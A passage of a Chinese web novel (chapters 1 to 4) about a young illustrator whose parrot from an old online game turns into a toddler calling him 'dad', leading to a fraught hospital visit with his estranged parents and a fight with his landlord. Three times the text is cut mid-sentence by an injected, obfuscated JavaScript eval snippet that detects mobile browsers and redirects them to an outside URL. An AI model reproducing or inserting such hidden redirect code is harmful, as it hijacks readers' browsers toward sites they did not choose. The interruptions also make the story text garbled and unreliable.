《游戏崽崽竟然追上门了!》 1. 第 1 章 “路路啊,你爸后天就要动手术了,不管你们之前有过什么矛盾,这次你都主动向父母低个头吧。” 早上九点,宋锦路被小姨的电话吵醒。 平地起惊雷。 他突然被告知父亲要动手术,还被劝说主动向父母低头。 “事情都过去这么久了,一家人有什么矛盾是不能化解的呢?” 小姨语重心长地说着:“其实这几年他们都很想你,就是拉不下脸面找你……只要你能低个头,说自己已经改好,这事就过去了。” “而且这么多年了,你肯定已经改好了,是不是?那趁着这次机会说开了,对大家都好。” 宋锦路努力消化着小姨带来的信息,又无可奈何地叹气:“……可是小姨,这事是改不了的。” 三年前,宋锦路英勇向家里出柜,坦白自己喜欢男人,这辈子都不会跟女生相亲。 虽然同性婚姻法已经通过好几年,但父母仍是老一辈思想,从震惊到震怒,誓死不能接受。 最后气的要跟宋锦路断绝关系,还威胁将他赶出家门。 然后宋锦路就从家里搬了出来,三年都没能再踏进家门一步。 “这怎么不能改呢,都三年了,阿姨相信你可以的!” “……” 阿姨语气笃定,可宋锦路很难解释,这不是有信念就能做到的事。 当然,他也没想解释太多,眼下更想知道的是父亲要在哪家医院做手术。 但正要开口询问,一阵铃铛声叮叮响起,打断了宋锦路的思绪。 叮叮叮—— 叮叮—— 扭头朝侧边看去,是一只粉色小鹦鹉飞到了床头柜上踢着装饰铃铛,接着大摇大摆,扭身摆尾,啪嗒啪嗒走到了宋锦路脸上。 宋锦路:“……” 但小鹦鹉丝毫未觉哪里不对,得意地扬扬翅膀,小鸡展翅,然后大声喊道:“爸爸!爸爸!” 与大部分鹦鹉学舌的音色不同,粉色小鹦鹉的发音清晰,奶声奶气,跟人类幼崽的声音几乎没有任何区别。 电话另头的小姨还在苦口婆心劝说,听到这声动静,立刻警觉:“路路,你在哪?怎么有人喊你爸爸?” 宋锦路赶紧提起小鹦鹉翅根,将其从自己脸上拎下去:“怎么可能,我在外面呢,是别人的声音吧。” 小鹦鹉扑腾全身挣扎,叽叽喳喳叫喊:“哔哔哔哔,啾啾啾,叽咕叽咕——” 宋锦路:“总之我知道了小姨,我今天就去看我爸,你等会儿把医院地址发我好吗?” 小姨便道:“好好好,等会儿我就发你微信上,路路啊,你能想明白是最好的,你爸妈就你这么一个孩子,心里最惦记的总归是——” “我知道的小姨。” 宋锦路打断,生怕眼前的小鹦鹉再喊出什么惊人言语,赶紧道:“我现在回家了,准备准备就去医院。” 小姨欣慰道:“哎好,那好。” 挂掉电话,宋锦路松了口气,也终于松开手里的小鹦鹉。 但小鹦鹉对于被提翅根这事很是不解,看上去还有些生气,啄着被子撒气,边啄边跳脚。 要真是只普通的小鹦鹉,养了就养了,说话就说话,宋锦路也不用遮掩隐瞒,害怕被人知道。 关键这只小鹦鹉不普通。 因为再下一秒,小鹦鹉就在床上变成了一个软绵绵肉乎乎的人类幼崽。 像做梦一样。 说起这只小鹦鹉的来历,宋锦路至今觉得很诡异,不仅完全没有接受,有时回想起来,仍觉得可能是自己精神错乱了。 说出去谁会相信呢,一只鹦鹉竟能变成一个人类幼崽? 而这只鹦鹉的来历,竟还是他五年前在游戏里养的小宠物? 何止精神错乱,连次元都错乱。 五年前,宋锦路还在念大学,当时沉迷一款网络游戏,在里面养了这只小鸟崽。 后来因为个人原因退游不玩了,连游戏角色都删了,哪还管里面的小宠物。 结果在他退游五年后,这只小鸟崽愣是冲破次元,从游戏里飞出来认亲了。 品种不明的粉色小鹦鹉,看上去像牡丹鹦鹉,又有些像和尚鹦鹉,但体型足足有葵花鹦鹉那么大。 虽然在宋锦路眼里是小鹦鹉,实际放在鹦鹉界里,怎么都算大体型了。 粉色的羽翼丰满,色泽油光发亮,永远挺着毛茸茸的小胸膛,看上去臭屁又骄傲。 但没办法,就是可爱得要死。 而人类幼崽的模样同样可爱。 看上去不过两三岁的年纪,浓密茂盛还带些自然卷的黑发,圆圆的脸型,肉乎乎的脸颊,软软糯糯像是包着水蜜桃肉果的麻薯团子。 睫毛像把弯曲卷翘的扇子,一双大眼睛漆黑,眼神柔软而水亮,看什么都可怜无辜,令人心软。 多少次调皮捣蛋搞破坏,但只要跟小家伙这样的眼神对视上,宋锦路就不忍心再责怪他了。 此时此刻,这只漂亮可爱的小鹦鹉便用这样的眼神盯着宋锦路。 小小软软热烘烘的身躯贴在他身上,噘着嘴,奶声奶气地开口:“爸爸,饿饿,饭饭!” 弱小,无助。 可怜,无辜。 委屈巴巴却又理直气壮。 一副完完全全依附着他,需要靠他照顾才能生存下去的模样。 所以谁能忍心不给他饭吃呢? 可爱侵略症进攻大脑,宋锦路只想对着他糯糯的脸蛋子狠咬一口,最好能把这只小鹦鹉咬到吱哇乱叫。 宋锦路叹了声气:“知道了知道了,你先起来,我这就去给你准备吃的。” 小鹦鹉来到他身边的时间只短短一周,尽管开口闭口喊他爸爸,但宋锦路还没能接受这层身份的转变,目前做不到以爸爸自称。 小鹦鹉闻言,迅速从宋锦路身上滑下去,随后站在床上蹦蹦跳跳,欣喜吵闹:“爸爸!喜欢!亲亲!” 成天叽叽喳喳说个不停,不过小鹦鹉的词汇量十分匮乏,会说的词只有这么几个。 宋锦路从床上起身,小姨已经将医院的详细地址发过来。 他一边往厨房走去,一边查看地图路线。还好,不算远,地铁二十分钟就能到。 过去三年宋锦路独自生活,日子就比较粗糙,吃的基本是外卖跟超市熟食,很少自己开火。 直到小鹦鹉大驾光临,宋锦路不忍心让孩子跟着粗糙过活,终于学着自己下厨,会做些看上去相对健康的食物了。 早餐简单,宋锦路给小鹦鹉煮了两颗糖水蛋,炒了盘鸡蛋青菜面,再切个苹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228792|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果,抓一大把坚果就完成了。 等待开饭的时候就很乖。 不再蹦蹦跳跳,也不再到处翻箱倒柜,所有家具暂时脱离被乱啄乱啃的危险,小鹦鹉乖乖端正坐在二手儿童餐椅上,捏着可爱的儿童筷勺,等待开饭。 就是小嘴巴依旧吵闹,叽叽喳喳念个不停。 “哔哔哔哔哔,叽咕叽咕,peekaboo,叽咕叽咕——” “饭饭,喜欢!宝宝,亲亲!” “哔哔哔哔哔,宝宝,饭饭,亲亲!” “好了好了,小嘴巴安静点,可以吃饭了。” 宋锦路将早餐端到小鹦鹉面前,也不明白如此小小单薄的身躯,哪来这么多堪称无限的精力,嘴巴能念一整天都不带停的。 不过给的情绪价值很足,不管宋锦路做什么,小鹦鹉都会给予元气满满的赞美。 “饭饭,喜欢!爸爸,亲亲!” 然后一手捏着勺子,一手用自己独创的手法捏住筷子,十分认真地开始埋头大吃。 世界终于安静。 只剩下小鹦鹉呼噜呼噜吸面条,然后嚼吧嚼吧的声音。 虽是小鹦鹉,但格外喜欢吃鸡蛋——仔细一想,这点还挺地狱。 宋锦路在心里笑了笑:“好了,你自己乖乖吃哦,我去换衣服。” 小鹦鹉埋头苦吃,没有搭理没有回应,一碰到食物,什么黏人劲都没了,直接切换到六亲不认的模式。 宋锦路洗漱换衣完毕,心里也想好了接下去的安排。 他要去医院找父母,小鹦鹉肯定不能带着。 不说这小家伙吵得要命,不适合在医院出现,要当面开口喊他一声“爸爸”,估计就得把父母吓到心脏骤停。 宋锦路走到外面,小鹦鹉已经将早餐清空,此刻正站在茶几上,跟着电视里的动画节目唱歌。 摇头晃脑,认真专注。 真精力无限。 宋锦路将碗盘放到水槽,接着不动声色地走到小鹦鹉身边,伸手挠挠他的下巴,然后将他抱进怀里。 “善善在唱什么呀?” 善善是小鹦鹉的名字,当年在游戏里就取好的。虽然取名的人不是宋锦路,但他还是继续使用了这个名字。 天真无邪的小鹦鹉宝宝不知爸爸内心正在酝酿的邪恶计划,但喜欢爸爸用这种夹子音跟他说话,也觉得被挠挠下巴摸摸头很舒服,于是哼哼唧唧地安静下来,还享受地闭上眼睛,在爸爸怀里瘫软成一块扁扁的小鸟饼。 不管人类幼崽的形态有多可爱,本体终究是只鹦鹉,浑身软软趴趴松懈下来后,小家伙还是在宋锦路怀里恢复了小鸟形态。 咔哒—— 直到与温暖柔软的怀抱骤然分离,无情冰冷的落锁声音响起,善善小宝猛地睁开眼睛,发现自己竟被关进鸟笼里了。 “抱歉善善,我要出去一趟,不能带你,你自己在家待一会儿吧……我很快回来的,好不好?” 小鹦鹉宝宝哪听得进去,只有对自己上当受骗的不敢置信,当场开始嗷嗷大叫,疯狂扑腾攻击笼子。 起初还试图唤回爸爸的良心,大喊:“爸爸!爸爸!亲亲!宝宝亲亲!” 发现爸爸没有良心后,乱吼乱叫,撕心裂肺:“啊啊啊——呀呀呀——坏爸爸!坏爸爸!” 2. 第 2 章 小小的身体,大大的嗓门,声音还极具穿透力,狠狠攻击着耳膜。 宋锦路感觉脑袋都开始眩晕了。 每次小家伙扯开嗓子大喊大叫时,宋锦路也纳闷他是从哪来的力量,怎么能这么吵。 但见小家伙边大喊大叫边疯狂攻击笼子的可怜模样,终究生出几分于心不忍。 宋锦路是居家工作,过去一周真是每天二十四小时陪伴着小家伙。 头一次丢下小家伙单独出门,心底有种说不出的负罪感,好像很对不起小家伙。 可再对不起也没办法啊。 “好了好了,别吵了,回来给你带吃的好不好?我真的很快就回来。” 再试着安抚几句后,宋锦路狠下心出了门。 见不到自己就好了吧。 再吵一会儿,小家伙就能接受现实了吧。 前往医院的路上,宋锦路将小姨发来的消息认真看了看。 父亲是体检时发现甲状腺出了问题,进一步检查后需要手术切除。 说情况很严重吧,切除就好,基本能治愈。但说不严重吧,手术风险也不小,术后得终身服药。 宋锦路还是挺心忧的。 虽然父母不能接受他的性取向,怒气冲天地将他赶出家门,但作为独生子,他从小享受着父母所有的爱意跟资源,不说多么大富大贵,可绝对算小门小户里的娇生惯养了。 父母只是也有自己的期待跟底线罢了。 宋锦路能够理解,养育他长大成人,父母也在逐渐老去,而老去后的心愿无非是能看着他结婚生子,他们则能带带孙子孙女,享受天伦之乐。 有错吗? 当然没有错。 只是他们的观念无法达成一致,谁也不能改变谁,碰撞出了破碎的裂缝,目前还无法修复而已。 半小时后,宋锦路到了医院,按照小姨给的详细地址,顺利抵达住院部。 父亲的病房在十五楼,倒很安静,走廊里不见其他人影,只有他一个。 但越靠近病房,宋锦路心里就越紧张。 已经太久没跟父母见面,不知他们这回见到自己会是什么反应…… 忐忑不安地走到病房面前,宋锦路深呼吸换了口气,结果正要抬手敲门,身后却传来一道嘹亮又熟悉的声音:“哔哔哔哔哔!” 心头猛地大颤,宋锦路赶忙回头,一只粉色小鹦鹉便从天而降,直冲他的胸膛。 浑身血液简直瞬间倒流,宋锦路大脑一片空白,只下意识抱住小鹦鹉,结果小鹦鹉又在他怀里大变活人,大嗓门依旧:“坏爸爸!坏爸爸!” 沉甸甸的重量彰显着小家伙真实的存在感,但宋锦路当场手脚发软,胸膛心跳咚咚狂震,差点没能抱稳。 赶紧左右前后一番张望,还好没人,不然宋锦路都不知该怎么办。 “你,你……” ??? 距离心肌梗塞半步之遥,宋锦路完全反应不过来,鬓边已经浸出冷汗,话都不会说了。 “坏爸爸!讨厌!坏爸……唔……” 理智还未完全恢复,但本能让宋锦路手动闭麦,连忙堵住小家伙嘴巴,不让他再发出声响。 只能暂时撤退了。 总不能带着这只小鹦鹉去见父母吧?他可没法解释这桩魔幻事件的来龙去脉。 无奈小家伙的嗓门太嘹亮,已经闹出的动静无法撤回,声响还是惊到了病房内的父母。 宋锦路都没来得及后退两步,病房门就先一步打开,母亲好奇地朝外张望,直接跟宋锦路来了个四目相对。 宋锦路:“……” 怀里的小家伙拼命挣扎,此刻也挣开宋锦路的手掌,大声喊道:“坏爸爸!讨厌!” 宋锦路:“……” 场景像是冰冻凝结了,好几秒后,宋锦路才听到自己喉间发出紧张又干巴巴的声音,喊了声:“……妈。” 可母亲受到的冲击明显也不轻,或许比宋锦路更重,僵直十几秒后,才有回应:“……这,这是?!” 要怪就怪小家伙的脸蛋会长吧,模样跟宋锦路至少有八分相似,任谁看了都会觉得是他亲生的。 母亲自然也瞪大眼眸,视线在宋锦路跟小家伙之间来回跳跃。 确认这肯定是宋锦路的亲生崽子后,声音颤抖:“……你哪里来的孩子?!你什么时候有的孩子?!” 宋锦路绝望地闭了闭眼,如果可以,真希望现实能像游戏那样回档,要不就重置一下进度。 该怎么解释呢。 他真没法解释啊。 而母亲的声响也惊动了里面的父亲,宋经康很快从里面出来。 起初声音还透着疑惑:“什么孩子?你在跟谁说话?” 可见到宋锦路跟他怀里的小家伙后,迅速跟妻子一起僵住,满目震惊:“……这孩子,这孩子?!” “……” 意外不停,震惊不断。 巨大的冲击之下,宋锦路没招了,放弃了,平静地疯了,干脆应道:“……嗯,这是我的孩子。” 不然还能怎么办? 已经被父母看到,休想再瞒住了。 而小家伙虽不会说几句人话,偏偏相关人话都能听懂,宋锦路怕自己解释不承认,小家伙当场变身啄自己一口,那冲击更大,眼下三个人里得吓死两个。 宋锦路看着父母,感觉此刻大脑皮层的所有褶皱都在缓缓展开,心不慌了气不短了。哈哈哈,就这样吧,只能下辈子投胎时注意点了。 “……” 父母又被这句话震得晕头转向,场景像石化般停滞两秒后,父亲一把将宋锦路扯进病房。 “……你这小混账!你给我进来!” 力道奇大无比,压根不像病人。 宋锦路怀里还抱着小家伙,一大一小的体重都没法对抗,直接被拉出残影。 病房门重重关上,气氛诡异而紧张。 母亲的质问响起:“……你怎么会有孩子?!你从哪弄来了这么大的孩子?!这到底是怎么回事?!” 怎么回事。 每回看着小家伙,宋锦路也想叩问苍天,这到底是怎么回事。 谁能来救救他。 可惜叩问祈祷都没用,老天只负责制造难关,一切要靠宋锦路自己解决。 大脑还在思考,大部分是空白,宋锦路紧张地说:“……这是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228793|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外。” “什么意外?” 父母对这种说法并不买账,立即追问:“这种事也能有意外?!” “……” 可事情发生得这么突然,宋锦路自己都没从震惊中缓过神来,哪变得出像样理由。 他怕真相吓坏父母,也不想提起这段真相背后的尘封往事。 最关键的是,直觉还在不停提醒他,小家伙的真实身份不能暴露,否则绝对会有不好的事情发生。 可此情此景,想要编造谎言太难了。就算能暂时蒙混过关,之后圆谎也会难上加难。 啊啊啊啊啊—— 所以这世界到底有没有回档功能,能不能一键重启啊? 宋锦路抿紧嘴唇:“……孩子怎么来的,你们先别管,总之这是我的孩子。” 听上去很强硬很厉害,实际是真没招了,压根编不出理由。 “……你莫名其妙弄出这么大个孩子,你居然还叫我们别管?!” 当然,父母的怒气值也因此更高。 “既然要叫我们别管,那你带孩子过来做什么?!” “……” 宋锦路百口莫辩,孩子是从天而降的,真不是他带来的。 脑子一抽,宋锦路就说:“因为我……想给你们一个交代。” “什么交代?”父亲眉头紧锁,“你该不会是想说,你这辈子都改不了性取向,所以弄个孩子出来当交差吧?” “……” 不愧是父母,一眼看穿他的小伎俩。可宋锦路本意并非如此,还是无法违背良心,不能承认。 只是他的这份沉默,在父母眼里成了心虚的默认。 “够了,你给我们滚出去。”父亲沉叹一口气,“我们用不着你这样的交代,我们受不起。” “爸,我——” 可惜话没能说完,病房门一开,宋锦路怎么进来的,又被怎么样推了出去。 父亲孔武有力,一点不像生病的人。 咚—— 关门声沉重响亮,瞬间将宋锦路隔绝在外。 “……” 进门不过一分钟,又被丢出来了。 本想借这个机会跟父母缓和关系,结果关系更紧张了。 宋锦路低头看向怀里的罪魁祸首,叹了声气,叹得很绝望:“……不是让你待在家里吗,为什么要跟出来?” 但在家那么胆大妄为的飞天捣蛋鬼,从刚刚到现在都乖巧安静到不行,只软软绵绵地贴在宋锦路怀里,像个玩偶娃娃,眨着漆黑水润的大眼睛,一声不吭。 小鹦鹉爱捣蛋,但小鹦鹉不傻。 小鹦鹉意识到自己闯祸了。 在家敢那么胡作非为的调皮捣蛋,是因为能感受到爸爸对他的包容耐心,所以才什么都不怕。 在外面就不行了。 虽然听不懂大人们叽里咕噜地在说什么,可小鹦鹉宝宝能感受到这里的气氛十分紧张压抑,还有来自两位陌生大人的愤怒情绪,以及对自己的微妙排斥。 也能感受到爸爸周身满溢的低落跟失望。 小鹦鹉跟着有些难受,还有点害怕,老实夹起自己的小鸟尾巴,不敢吭声了。 3. 第 3 章 宋锦路没有立刻离开,继续在外面待了好一会儿。 不管父母想不想见他,他至少得拿出端正的态度。 后来临近午饭点,宋锦路出去买了午饭。父母以为他走了,便开了一会儿房门,正巧让回来的宋锦路赶上——还好,没把他买来的饭菜也扔出去。 冷静了两个多小时,双方情绪都得到明显缓和。 总之宋锦路是想开了。 能怎么办呢? 如果小鹦鹉一直待在他身边不走了,那他有个孩子的事实也瞒不住,父母迟早会知道。 虽然眼下是提前太久就知道了,但他跟父母之间的核心矛盾并不是孩子造成的,也不是今天孩子不来就能解决的。 “爸,妈,我给你们买了饭……不管怎么说,也是花钱买的,别浪费吧……” “……” 父母没说话,想刀他的眼神藏都藏不住,神色一派复杂难言。 现实太刺激了。 他们想让宋锦路改邪归正,想让宋锦路变好,万万没想到,最后宋锦路变异了,变得更不像话,直接捅出天大的篓子。 但不管他们是否接受,现实已经摆在眼前,由不得他们到底怎么想。 对孩子的存在同样充满疑惑。 跟宋锦路太像了。 实在太像了,像到都不需要做亲子鉴定,肉眼就能辨认绝对是亲生的。 可孩子是什么时候有的? 宋锦路离家不过三年多,孩子看上去也有三岁的模样,难道是离家之前就有的?可之前怎么从没说过呢? 气氛不再剑拔弩张,却依旧紧张压抑。 但这会儿宋锦路没再选择多待。 能让他进来说话已经很好了,他没法解释孩子的由来,就怕说多错多,到时让情况更糟。 “那你们先吃饭吧,我明天再来。” “……” 父母心里不爽,隐瞒了这么重要的事,多少咽不下这口气,只想开口叫宋锦路别来了。 可看着宋锦路怀里的孩子,话又说不出口。 说到底,哪有长辈能拒绝一个看上去乖乖软软,闻起来还香香的小孙子呢? 尤其还跟宋锦路这么像。 一旦接受这个设定后,自动切换到了爷爷奶奶的角色,根本无力抵抗。 要不是为了这口气撑着,巴不得让宋锦路把孩子抱到眼前来,叫他们好好看个清楚仔细。 气归气。 心动归心动。 怕骂了宋锦路明天真不来了,宋经康跟岑雪云忍住了,只没什么好气地说了句:“……你爱来不来。” 但不停偷瞄孩子的小细节尽数落在宋锦路眼里,宋锦路感觉挺不可思议的。 “我会来的……你们消消气。”宋锦路说,“晚上我叫跑腿给你们送饭,就不用自己出去买了。” 离开病房,宋锦路感觉胸口沉重又轻松。 想缓和关系果然没那么容易,面临的问题还多了个该如何解释孩子的由来。 可孩子的事情不用隐瞒了,而且从父母的反应来看,对孩子的存在本身似乎也没那么排斥? 低头看向怀里的小家伙,此时依旧乖乖安静缩着,宋锦路笑问:“现在知道错了?那跟你说话时为什么不听呢?嗯?” 小家伙抬起眼,漆黑黑的眼眸像刚洗过的大葡萄,透出晶莹的水光,眨巴眨巴。而睫毛浓密卷翘,像两把小扇子,扑闪扑闪。 “爸爸……” 平日里的傲娇神气都没了,此时开了口,低落委屈的情绪倾泻而出。 “爸爸……” 小鹦鹉宝宝不会其他词汇,知道错了也不能道歉,只能小声地喊着,爸爸,爸爸,然后将软软热热的小脸贴在宋锦路脖颈处,蹭蹭撒娇,以示可怜的歉意。 宋锦路就心软了。 受不住。 这么可爱,换谁能受住? 当小家伙用如此无辜可怜的眼神看过来时,宋锦路什么气都没了——要不小家伙敢那么调皮捣蛋呢,说穿了也有他纵容的缘故。 宋锦路摸摸小家伙脑袋,心底叹了声气,想说算了,算了算了,以后听话些就好了,这次不怪你。 然而他还没说出口,小家伙接着说下去:“爹爹,要爹爹……” “……” 画风瞬间割裂,宋锦路的心情更是破裂。 有那么几秒,他怀疑小家伙压根没反省,小小的脑容量早就将两小时前的事情给忘了,只是在难过至今没去找爹爹的事情罢了。 而说到这个“爹爹”,宋锦路既是无话可说,也能骂上三天三夜不重样。 心情就像吃了屎味巧克力,恶心又难受,不能回味。 那是他还在念大学时的事了,也是最初养下这只小鸟崽的时候。 当时宋锦路沉迷一款古风网游,仗着脱离三次元,在里面尽情释放自我,跟另一个男生谈了网恋。 两人你侬我侬,天天绑定,堪称帮会模范夫夫,感情热烈上头。 原本说好只是在游戏里玩玩的,但最终宋锦路动了真心,爱到深处想跟对方奔现,而对方也答应了。 事过境迁,宋锦路早已模糊当时期待紧张的心情,只记得见面那日,猛然发现自己在网上喊了好一段时间老公哥哥的恋人,竟是现实早就认识的家伙。 是初中校友。 是初中就玩弄过自己友情的坏胚子。 是宋锦路恨了好几年的贱人。 是宋锦路最讨厌的人。 当头棒喝。 钻心刺骨,会心暴击。 结局自不用说,宋锦路认定对方是想羞辱自己,恨不得将对方大卸八块千刀万剐。 于是在一场惊天动地的决裂后,宋锦路连夜删号跑路,往后几年看到这个游戏的广告都嫌恶心。 宋锦路小心眼,五年了也没能释怀,想起来依旧耻辱。 他是不可能联系对方的,除非对方死了,那他可以勉为其难去葬礼上啐一口。 “没有爹爹,爹爹死了。” 宋锦路捏着小家伙糯米团子般的脸颊,语气平静,内容却渗人。 “你真那么想爹爹的话,现在就可以去找他,以后待在他身边好了。” 而平日最擅长胡闹乱叫的小家伙,在听到宋锦路这些话后,竟罕见地十分平静,都没有哼哼唧唧,只是眼波颤了颤,似乎有些伤心。 但刚被套路完的宋锦路不吃这招,铁石心肠地说:“要爸爸,还是要爹爹,你自己选。” “……” 小家伙没回答,可整张脸已经垮了,五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228794|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官皱成小苦瓜,一看就十分为难,令人心疼。 宋锦路也一瞬间心脏刺痛,反省自己是不是对小鹦鹉太严厉无情了。 可转念便否决,当初被欺骗玩弄感情的是他,他跟对方就是恩断义绝,再见也只有你死我活的关系。 这早已是个支离破碎的家庭,注定没有圆满温馨的剧本。 小家伙要不跟他在一起,要不就去对方那里,两人之间只能选一个。 宋锦路坚定眼神,直直对抗小家伙不断散发的可怜光波,纹丝不动。 最后败下阵的是小鹦鹉,见宋锦路心意已决的模样,抿抿嘴唇,将脑袋靠在宋锦路的肩膀上,开始无助地唉声叹气。 小小年纪就一把年纪的架势。 宋锦路听了觉得好笑,也庆幸自己刚才的坚定,否则真要上这小子的道了。 不过小鹦鹉的唉声叹气没能维持太久,在快餐店打包了一顿午餐后,就用双手捧着,欢天喜地回家了。 宋锦路没什么心情吃饭,只想回到家后先睡会儿。 无奈一进家门,最先入眼的是满地狼藉。 宋锦路:“……” 小鹦鹉为了挣脱笼子可谓拼尽全力,铁丝大鸟笼被咬的七零八碎不说,旁边桌上的东西也被扫得满地都是,可以想象整个过程有多激烈。 宋锦路扭头看了小犯鸟一眼,然而小犯鸟并未觉得哪里不对,已经美美开始享用午餐。 唉。 算了算了。 小家伙能保持专心安静就很不容易了,其他情况还是不强求了。 该认命的时候就认命,此时宋锦路认命地做个田螺小子,准备先将房间整理干净。 但人一旦开始倒霉,世间万物所有的倒霉都会吻上来。 宋锦路还没将地上的水渍拖干净,手机又响起来,这回是房东的电话。 房东是不允许养宠物的,虽然小家伙也算不上宠物,但家里鸟笼什么的一应俱全,宋锦路难免有些紧张,生怕是哪里露馅被房东察觉了。 结果房东带来的消息比倒霉更倒霉,是准备将他赶出去了。 “小宋啊,我知道突然这么说有点不近人情,但这套房子我准备卖了,需要你提前搬出去了。” “……” 房租还有整整半年才到期,这的确是个很突然很歹毒的要求。 宋锦路当然不能接受:“买卖不破租赁,你卖房也不能赶我出去啊。” “我知道我知道,所以才来找你好好商量嘛。”房东说,“也不是要你现在就搬出去了,我会给你时间找房子的,一个月怎么样?到时你的租金跟押金我都退给你,搬家费用我也给你出一半,这样总行了吧?” 一个月够找到什么好房子,何况他还有别的事情要做,眼下就还得去医院看父母,还得照顾凭空冒出来的小鹦鹉,还要工作,哪里来的多余时间去找房子? 而且是房东毁约在先,房租押金本来就该还给他,这算什么补偿? 搬家费用一半才多少,想花几百块就把他赶出去了,开什么玩笑? “当然不行,你想得美。”宋锦路生气地说,“房子你爱卖不卖,反正房租到期前我不会走,有种你把我的东西都扔出去,那我天天来你家门口撒鸡血扔狗屎,你这房子也休想卖出去。” 4. 第 4 章 不管这些事能不能做到,狠话必须放在前头。 房东都提出如此无理的要求了,宋锦路要再礼貌,房东只会当他好欺负。 果然,宋锦路这么一说,房东的语气立刻缓和不少:“哎呀,年轻人火气别这么冲,好歹也是大学生,文明人,真要做了这种事,说出去对你名声也不好啊。” 宋锦路冷笑:“我又不是公务员,也不考公务员,担心什么名声?你要真把我赶出去,我还要去你儿子单位拉横幅贴大字报呢,让领导同事都看看他一家人是什么德性。” 房东天天吹嘘自己公务员儿子的福利待遇多好,家里往来送礼的人多少,现在都成了刺向自己的刀剑。 宋锦路一招比一招没道德,但效果奇佳,房东语气更好了:“好嘛好嘛,谁说要赶你了,我又不会赶你的,我说了是来跟你商量嘛,你觉得我给的条件不好,你可以说说你的条件。” 宋锦路不上套,不可能对方态度缓和一些就真当对方悔过了。 独自在外生活三年,宋锦路吃到了足够多的教训。 “我没有条件,你卖你的,我住我的,等房租到期了,我自然就会搬出去。” 见宋锦路软硬不吃,房东没招了,只好主动放宽条件:“那搬家费用我给你全包,再额外补偿你一个月房租怎么样?” 这还算有点诚意。 但宋锦路没有立刻表态,继续一声不吭。 房东:“小宋,虽然法律上说买卖不破租赁,但我要不肯遵循,你能怎么办呢?你要去起诉我,耗钱耗精力不说,搞不好开庭都要排到半年后,是不是费力不讨好?” “看在我们这两年相处还算愉快的份上,我多补偿你一个月的房租,我们就好聚好散吧。” 现实确实如此,房东没说错。 就算最后宋锦路胜诉,得到的也不过是些经济补偿,但其中付出的精力时间,被耽误的事情,被摧毁的心情,都不是能再补偿回来的。 有些时候,在人屋檐下,不得不低头。 宋锦路说:“我倒是想跟你好聚好散,可房租还有半年到期,你突然一个电话过来就叫我搬出去,我心情能好吗?” “是是是,我理解,刚才是我语气不好,你生气是应该的。” “而且房子也不是那么好找的,当初我找这个房子可是花了好几个月,你现在就给我一个月的时间,这哪里够?” 宋锦路说:“我租房的时候你规定了那么多条件,这不行那不行,动不动就算违规违约要扣押金,轮到你毁约就想用一个月房租打发我?今天要是我毁约呢,你能这么好心放过我?” 房东尴尬:“哎呀,年轻人,话不是这么说的……” 宋锦路冷笑:“那怎么说?你这么着急让我搬出去,想必是有心仪的买家了吧?是不是对方要求房子一个月内清空?” 房东沉默,看来宋锦路猜对了。 “也是,现在房价不景气,再过半年还不知跌多少,而且再过半年都不一定能卖出去呢。”宋锦路戳破房东的算盘,“这么一比较,才用一个月房租就打发我,你真是精明死了。” 房东连续哎呀好几声,也没哎呀出能找补的话来,最后叹气道:“……这样吧小宋,搬家费用我依旧包了,我再给你多加一个月的房租补偿,一共给你两个月的房租补偿,行不行?我知道你找房子辛苦,但两个月房租也不少了,我们各退一步,好聚好散,怎么样?” 真要说的话当然不行,搬家处处是麻烦,宋锦路怎么想都气不过。 可现实还是那句话,在人屋檐下,有时不是自己的房子就是没办法。 房东下定决心要他搬走,有的是办法让他住不下去。 至少自己多了一个月的房租补偿,宋锦路皱着眉叹气:“行吧行吧,唉,真是的,遇上你算我倒霉。” 挂掉电话,一瞬间感觉自己苍老五十岁,已是风烛残年,马上油尽灯枯。 但还要继续整理一地狼藉,等小鹦鹉吃完午餐,还得将餐盒收拾干净。 好在小鹦鹉吃饱了犯困,没隔几分钟就躺平睡去。 至此终于天下太平,耳根清净,宋锦路能有时间做点自己的事了。 先看了看租房信息,确定心仪的地段跟条件。 房源看上去不少,还都不错的样子,可真实情况只有鬼知道,遇到图片跟现实不符的,那就是浪费时间跟精力的诈骗。 租房也是种赌博。 因为房子的隔音条件,周围环境,安保情况,上下邻居是否奇葩,这都是需要住了才知道的。 万一凌晨有人在楼道打豆浆,还有人半夜在楼下做法事……千辛万苦才搬进去,难道因此再搬出去吗? 看了一个多小时,收藏了几套还算不错的房子后,宋锦路也不得休息,转而开始工作了。 还好他他是居家工作,时间可以随自己安排,否则眼前这么多事撞在一起,他怄都能怄死。 宋锦路的本职是漫画师,目前收入尚可。 但因为产出效率较低,又不喜欢拖稿,所以永远都很忙碌,几乎全年无休。 